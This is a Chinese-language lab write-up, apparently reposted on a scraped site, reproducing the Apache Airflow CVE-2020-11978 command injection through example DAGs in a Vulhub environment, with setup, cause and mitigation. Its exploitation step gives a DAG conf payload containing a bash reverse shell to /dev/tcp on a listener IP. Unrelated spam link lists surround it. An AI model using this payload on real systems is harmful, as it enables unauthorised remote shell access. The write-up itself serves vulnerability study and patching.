当前位置: 首页 > news >正文

手机能进封禁网站的浏览器程序开发 网站开发

手机能进封禁网站的浏览器,程序开发 网站开发,建站哪家好,网站主体关闭 无法备案简介 漏洞软件&#xff1a;Apache Airflow影响版本&#xff1a;< 1.10.10 环境 Vulhub 漏洞测试靶场 复现步骤 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录运行以下命令启动环境 # 初始化数据库 docker compose run airflow-init # 开启服务 docker compose up -…

简介

  • 漏洞软件:Apache Airflow
  • 影响版本:<= 1.10.10

环境

  • Vulhub 漏洞测试靶场

复现步骤

  • 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录
  • 运行以下命令启动环境
# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d
  • 在客户端访问 server-ip:8080
    在这里插入图片描述
  • 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态
    在这里插入图片描述
  • 在这一列的右侧点击如下按钮
    在这里插入图片描述
  • 输入以下字符后点击 Trigger 按钮
    在这里插入图片描述
  • 点击完成后 airflow_dag_success_touch_file 文件就会被创建在 /tmp 目录下,使用以下命令在容器中进行查询和验证
    在这里插入图片描述

原因

  • 默认情况下 Airflow Web UI 是未授权访问的,直接可以登录,而登录后,只能查看 DAG 的调度状态等,无法进行更多操作
  • 但 Airflow Web UI 中提供了触发 DAG 运行的功能,以便测试 DAG,同时 Airflow 为了让使用者可以快速熟悉其 DAG 开发流程和功能,为了更好的示例这些 DAG 覆盖了大多的执行器
  • 而其中两个 DAG 组合起来可触发命令注入导致漏洞产生,如下所示,通过一个DAG(example_trigger_controller_dag)来动态的调用另外一个 DAG(example_trigger_target_dag)
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator,它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发
  • 即通过 example_trigger_controller_dag 内部定义的 conf={“message”: “Hello World”} 来触发 example_trigger_target_dag 中 bash_command=‘echo "Here is the message:’{{ dag_run.conf[“message”] if dag_run else “” }}‘"’ 的运行
    在这里插入图片描述
    在这里插入图片描述
  • 根据上面信息可以看出,输入 dag_run.conf[“message”] 由第一个 DGA 传递过来的,看起来无法控制。而实际上熟悉下 Airflow 相关代码即可发现 Airflow 中 DAG Run 是代表 DAG 及时实例化的对象,而其中 conf 正是用于传递参数的方式, Airflow 提供了多渠道可以修改 conf,包括命令行例如:
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag

利用

  • kali 打开 nc
    在这里插入图片描述
  • 输入以下消息并触发 DAG
#socket 连接
{"message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
  • 连接成功
    在这里插入图片描述

缓解

  • 升级到 1.10.10 版本之后

  • 删除或者禁用 DAG,可自行删除或在配置文件中禁用默认 DAGload_examples=False

  • 参考

  • Vulhub 漏洞环境详情:https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3

  • Airflow dag 中的命令注入(csdn):https://xz.aliyun.com/t/8037

http://www.yayakq.cn/news/315781/

相关文章:

  • 做论坛推广的网站代理服务器ip国外
  • 客户说做网站没效果怎么回答好广州建站网站前十名
  • 工信部 网站开发设计师wordpress 即时
  • 德州做网站的公司有哪些网站管理助手打开是系统参数配置
  • 做网站需要编程?国内网站建设排名
  • 怎么做示爱的网站免费seo诊断
  • 网站营销策略有哪些友情链接发布网
  • 网站分析设计做的项目的过程公司网站做优化少钱
  • 中国建设银行抚州分行网站建网站建设网站
  • 绵阳微网站制作wordpress微博图床怎么用
  • 甘肃建投土木工程建设有限公司网站后台欧阳娜娜自创品牌
  • 看谁做的好舞蹈视频网站巨腾外贸网站建设
  • 做视频网站教程网页设计图片边框代码
  • 网站自动生成做网站平台的公司
  • 网站无后台可以上框架宣传的网站开发需要多少钱
  • 网站建设用哪种语言好公众号排版怎么做
  • 破解php网站后台密码做企业网站选百度云还是阿里云
  • 揭阳智能模板建站wordpress设置插件
  • 郑州做营销型网站公司注册了一个域名怎么做网站
  • ai可以用来做网站吗wordpress视频上传太小
  • 免费注册网页的网站如何给公司做网站
  • 网站为什么被挂马wordpress模板 美容
  • 村级网站建设 不断增强贵阳北京小学网站建设
  • 微信代理网站模板比较好的网站建设哪家好
  • 5个不好的网站logo网站有哪些
  • 做销售在那个网站找商丘家居网站建设
  • 网页素材提取企业搜索引擎优化
  • 做汽车团购网站广宗企业做网站
  • 网站入口首页抖音代运营报价明细
  • 网站模版更新公告网站导航栏分析